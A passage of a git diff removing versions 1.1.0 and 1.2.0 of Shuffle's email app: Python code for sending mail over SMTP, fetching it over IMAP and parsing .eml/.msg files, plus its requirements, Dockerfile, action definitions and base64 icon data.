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 diff --git a/email/1.1.0/requirements.txt b/email/1.1.0/requirements.txt deleted file mode 100644 index b18be475..00000000 --- a/email/1.1.0/requirements.txt +++ /dev/null @@ -1,8 +0,0 @@ -requests==2.25.1 -glom==20.11.0 -requests==2.25.1 -eml-parser==1.17.0 -msg-parser==1.2.0 -mail-parser==3.15.0 -extract-msg==0.23.1 -jsonpickle==2.0.0 diff --git a/email/1.1.0/src/app.py b/email/1.1.0/src/app.py deleted file mode 100644 index 8b2868c8..00000000 --- a/email/1.1.0/src/app.py +++ /dev/null @@ -1,360 +0,0 @@ -import json -import uuid -import socket -import asyncio -import requests -import datetime -import base64 -import imaplib -import smtplib -import eml_parser -import time -import random -import eml_parser -import mailparser -import extract_msg -import jsonpickle - -from glom import glom -from msg_parser import MsOxMessage -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText -from email.mime.application import MIMEApplication - -from walkoff_app_sdk.app_base import AppBase - -def json_serial(obj): - if isinstance(obj, datetime.datetime): - serial = obj.isoformat() - return serial - -def default(o): - """helpers to store item in json - arguments: - - o: field of the object to serialize - returns: - - valid serialized value for unserializable fields - """ - if isinstance(o, (datetime.date, datetime.datetime)): - return o.isoformat() - if isinstance(o, set): - return list(o) - if isinstance(o, bytes): - return o.decode("utf-8") - - -class Email(AppBase): - __version__ = "1.1.0" - app_name = "email" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is an email function of Shuffle - def send_email_shuffle(self, apikey, recipients, subject, body): - targets = [recipients] - if ", " in recipients: - targets = recipients.split(", ") - elif "," in recipients: - targets = recipients.split(",") - - data = {"targets": targets, "body": body, "subject": subject, "type": "alert"} - - url = "https://shuffler.io/functions/sendmail" - headers = {"Authorization": "Bearer %s" % apikey} - return requests.post(url, headers=headers, json=data).text - - def send_email_smtp( - self, username, password, smtp_host, recipient, subject, body, smtp_port, attachments="", ssl_verify="True" - ): - if type(smtp_port) == str: - try: - smtp_port = int(smtp_port) - except ValueError: - return "SMTP port needs to be a number (Current: %s)" % smtp_port - - try: - s = smtplib.SMTP(host=smtp_host, port=smtp_port) - except socket.gaierror as e: - return f"Bad SMTP host or port: {e}" - - if ssl_verify == "false" or ssl_verify == "False": - pass - else: - s.starttls() - - if len(username) > 0 or len(password) > 0: - try: - s.login(username, password) - except smtplib.SMTPAuthenticationError as e: - return f"Bad username or password: {e}" - - # setup the parameters of the message - msg = MIMEMultipart() - msg["From"] = username - msg["To"] = recipient - msg["Subject"] = subject - msg.attach(MIMEText(body, "html")) - - # Read the attachments - attachment_count = 0 - try: - if attachments != None and len(attachments) > 0: - print("Got attachments: %s" % attachments) - attachmentsplit = attachments.split(",") - - #attachments = parse_list(attachments, splitter=",") - #print("Got attachments2: %s" % attachmentsplit) - print("Before loop") - files = [] - for file_id in attachmentsplit: - print(f"Looping {file_id}") - file_id = file_id.strip() - new_file = self.get_file(file_id) - print(f"New file: {new_file}") - try: - part = MIMEApplication( - new_file["data"], - Name=new_file["filename"], - ) - part["Content-Disposition"] = f"attachment; filename=\"{new_file['filename']}\"" - msg.attach(part) - attachment_count += 1 - except Exception as e: - print(f"[WARNING] Failed to attach {file_id}: {e}") - - - #files.append(new_file) - - #return files - #data["attachments"] = files - except Exception as e: - print(f"Error in attachment parsing for email: {e}") - - - try: - s.send_message(msg) - except smtplib.SMTPDataError as e: - return { - "success": False, - "reason": f"Failed to send mail: {e}" - } - - print("Successfully sent email with subject %s to %s" % (subject, recipient)) - return { - "success": True, - "reason": "Email sent to %s!" % recipient, - "attachments": attachment_count - } - - def get_emails_imap( - self, - username, - password, - imap_server, - foldername, - amount, - unread, - fields, - include_raw_body, - include_attachment_data, - upload_email_shuffle, - upload_attachments_shuffle, - ssl_verify="True" - ): - def path_to_dict(path, value=None): - def pack(parts): - return ( - {parts[0]: pack(parts[1:]) if len(parts) > 1 else value} - if len(parts) > 1 - else {parts[0]: value} - ) - - return pack(path.split(".")) - - def merge(d1, d2): - for k in d2: - if k in d1 and isinstance(d1[k], dict) and isinstance(d2[k], dict): - merge(d1[k], d2[k]) - else: - d1[k] = d2[k] - - if type(amount) == str: - try: - amount = int(amount) - except ValueError: - return "Amount needs to be a number, not %s" % amount - - try: - email = imaplib.IMAP4_SSL(imap_server) - except ConnectionRefusedError as error: - try: - email = imaplib.IMAP4(imap_server) - - if ssl_verify == "false" or ssl_verify == "False": - pass - else: - email.starttls() - except socket.gaierror as error: - return "Can't connect to IMAP server %s: %s" % (imap_server, error) - except socket.gaierror as error: - return "Can't connect to IMAP server %s: %s" % (imap_server, error) - - try: - email.login(username, password) - except imaplib.IMAP4.error as error: - return "Failed to log into %s: %s" % (username, error) - - email.select(foldername) - unread = True if unread.lower().strip() == "true" else False - try: - # IMAP search queries, e.g. "seen" or "read" - # https://www.rebex.net/secure-mail.net/features/imap-search.aspx - mode = "(UNSEEN)" if unread else "ALL" - thistype, data = email.search(None, mode) - except imaplib.IMAP4.error as error: - return "Couldn't find folder %s." % (foldername) - - email_ids = data[0] - id_list = email_ids.split() - if id_list == None: - return "Couldn't retrieve email. Data: %s" % data - - try: - print("LIST: ", len(id_list)) - except TypeError: - return "Error getting email. Data: %s" % data - - include_raw_body = True if include_raw_body.lower().strip() == "true" else False - include_attachment_data = ( - True if include_attachment_data.lower().strip() == "true" else False - ) - upload_email_shuffle = ( - True if upload_email_shuffle.lower().strip() == "true" else False - ) - upload_attachments_shuffle = ( - True if upload_attachments_shuffle.lower().strip() == "true" else False - ) - - # Convert of mails in json - emails = [] - ep = eml_parser.EmlParser( - include_attachment_data=include_attachment_data - or upload_attachments_shuffle, - include_raw_body=include_raw_body, - ) - try: - for i in range(len(id_list) - 1, len(id_list) - amount - 1, -1): - resp, data = email.fetch(id_list[i], "(RFC822)") - error = None - - if resp != "OK": - print("Failed getting %s" % id_list[i]) - continue - - if data == None: - continue - - output_dict = {} - parsed_eml = ep.decode_email_bytes(data[0][1]) - - if fields and fields.strip() != "": - for field in fields.split(","): - field = field.strip() - merge( - output_dict, - path_to_dict( - field, - glom(parsed_eml, field, default=None), - ), - ) - else: - output_dict = parsed_eml - - # Add message-id as top returned field - output_dict["message-id"] = parsed_eml["header"]["header"][ - "message-id" - ][0] - - if upload_email_shuffle: - email_up = [{"filename": "email.msg", "data": data[0][1]}] - email_id = self.set_files(email_up) - output_dict["email_uid"] = email_id[0] - - if upload_attachments_shuffle: - atts_up = [ - { - "filename": x["filename"], - "data": base64.b64decode(x["raw"]), - } - for x in parsed_eml["attachment"] - ] - atts_ids = self.set_files(atts_up) - output_dict["attachments_uids"] = atts_ids - - emails.append(output_dict) - except Exception as err: - return "Error during email processing: {}".format(err) - return json.dumps(emails, default=default) - - def parse_email_file(self, file_id, file_extension): - file_path = self.get_file(file_id) - if file_path["success"] == False: - return { - "success": False, - "reason": "Couldn't get file with ID %s" % file_id - } - - print("File: %s" % file_path) - if file_extension.lower() == 'eml': - print('working with .eml file') - ep = eml_parser.EmlParser() - try: - parsed_eml = ep.decode_email_bytes(file_path['data']) - return json.dumps(parsed_eml, default=json_serial) - except Exception as e: - return {"Success":"False","Message":f"Exception occured: {e}"} - elif file_extension.lower() == 'msg': - print('working with .msg file') - try: - msg = MsOxMessage(file_path['data']) - msg_properties_dict = msg.get_properties() - print(msg_properties_dict) - frozen = jsonpickle.encode(msg_properties_dict) - return frozen - except Exception as e: - return {"Success":"False","Message":f"Exception occured: {e}"} - else: - return {"Success":"False","Message":f"No file handler for file extension {file_extension}"} - - def parse_email_headers(self, email_headers): - try: - email_headers = bytes(email_headers,'utf-8') - ep = eml_parser.EmlParser() - parsed_headers = ep.decode_email_bytes(email_headers) - return json.dumps(parsed_headers, default=json_serial) - except Exception as e: - raise Exception(e) - - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Email.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f"Invalid action" - - -if __name__ == "__main__": - Email.run() diff --git a/email/1.2.0/Dockerfile b/email/1.2.0/Dockerfile deleted file mode 100644 index bcc1273d..00000000 --- a/email/1.2.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG - diff --git a/email/1.2.0/api.yaml b/email/1.2.0/api.yaml deleted file mode 100644 index d19e7e7b..00000000 --- a/email/1.2.0/api.yaml +++ /dev/null @@ -1,280 +0,0 @@ -walkoff_version: 1.2.0 -app_version: 1.2.0 -name: email -description: Email app -tags: - - email -categories: - - communication -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: send_email_shuffle - description: Send an email from Shuffle - parameters: - - name: apikey - description: Your https://shuffler.io apikey - multiline: false - example: "https://shuffler.io apikey" - required: true - schema: - type: string - - name: recipients - description: The recipients of the email - multiline: false - example: "test@example.com,frikky@shuffler.io" - required: true - schema: - type: string - - name: subject - description: The subject to use - multiline: false - example: "SOS this is an alert :o" - required: true - schema: - type: string - - name: body - description: The body to add to the email - multiline: true - example: "This is an email alert from Shuffler.io :)" - required: true - schema: - type: string - returns: - schema: - type: string - - name: send_email_smtp - description: Send an email with SMTP - parameters: - - name: username - description: The SMTP login username - multiline: false - example: "frikky@shuffler.io" - required: true - schema: - type: string - - name: password - description: The password to log in with SMTP - multiline: false - example: "******************" - required: true - schema: - type: string - - name: smtp_host - description: The host of the SMTP - multiline: false - example: "smtp-mail.outlook.com" - required: true - schema: - type: string - - name: smtp_port - description: The port to use for SMTP - multiline: false - example: "587" - required: true - schema: - type: string - - name: recipient - description: The receiver(s) of the email - multiline: false - example: "frikky@shuffler.io,frikky@shuffler.io" - required: true - schema: - type: string - - name: subject - description: The subject of the email - multiline: false - example: "This is a subject, hello there :)" - required: true - schema: - type: string - - name: body - description: The body to add to the email - multiline: true - example: "This is an email alert from Shuffler.io :)" - required: true - schema: - type: string - - name: attachments - description: Send files from shuffle as part of the email - multiline: false - example: "file_id1,file_id2,file_id3" - required: false - schema: - type: string - - name: ssl_verify - description: Whether to use TLS or not - example: "true" - required: false - options: - - true - - false - schema: - type: string - - name: body_type - description: The type of body to send. HTML by default - example: "true" - required: false - options: - - "html" - - "plain" - schema: - type: string - returns: - schema: - type: string - - name: get_emails_imap - description: Get emails using IMAP (e.g. imap.gmail.com / Outlook.office365.com) - parameters: - - name: username - description: The SMTP login username - multiline: false - example: "frikky@shuffler.io" - required: true - schema: - type: string - - name: password - description: The password to log in with SMTP - multiline: false - example: "******************" - required: true - schema: - type: string - - name: imap_server - description: The imap server host - multiline: false - example: "Outlook.office365.com" - required: true - schema: - type: string - - name: foldername - description: The folder to use, e.g. "inbox" - multiline: false - example: "inbox" - required: true - schema: - type: string - - name: amount - description: Amount of emails to retrieve - multiline: false - example: "10" - required: true - schema: - type: string - - name: unread - description: Retrieve just unread emails - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: fields - description: Comma separated list of fields to be exported - multiline: false - example: "body, header.subject, header.header.message-id" - required: false - schema: - type: string - - name: include_raw_body - description: Include raw body in email export - multiline: false - options: - - "true" - - "false" - required: true - schema: - type: bool - - name: include_attachment_data - description: Include raw attachments in email export - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: upload_email_shuffle - description: Upload email in shuffle, return uid - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: upload_attachments_shuffle - description: Upload attachments in shuffle, return uids - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: ssl_verify - description: Whether to use TLS or not - example: "true" - required: false - options: - - true - - false - schema: - type: string - - name: mark_as_read - description: Mark email as read or not - multiline: false - options: - - "false" - - "true" - required: false - schema: - type: bool - - name: parse_email_file - description: Takes a file from shuffle and analyzes it if it's a valid .eml or .msg - parameters: - - name: file_id - description: file id - required: true - multiline: true - example: 'adf5e3d0fd85633be17004735a0a119e' - schema: - type: string - - name: file_extension - description: Extension of file you want to convert - required: true - options: - - eml - - msg - example: 'eml' - schema: - type: string - - name: parse_email_headers - description: - parameters: - - name: email_headers - description: Email headers - required: true - multiline: true - example: 'Email Headers' - schema: - type: string - returns: - schema: - type: string - - name: analyze_headers - description: - parameters: - - name: headers - description: Email headers in any format - required: true - multiline: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/hAytodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6Nzg4QTJBMjVEMDI1MTFFN0EwQUVDODc5QjYyQkFCMUQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6Nzg4QTJBMjZEMDI1MTFFN0EwQUVDODc5QjYyQkFCMUQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo3ODhBMkEyM0QwMjUxMUU3QTBBRUM4NzlCNjJCQUIxRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo3ODhBMkEyNEQwMjUxMUU3QTBBRUM4NzlCNjJCQUIxRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv/bAEMAAwICAgICAwICAgMDAwMEBgQEBAQECAYGBQYJCAoKCQgJCQoM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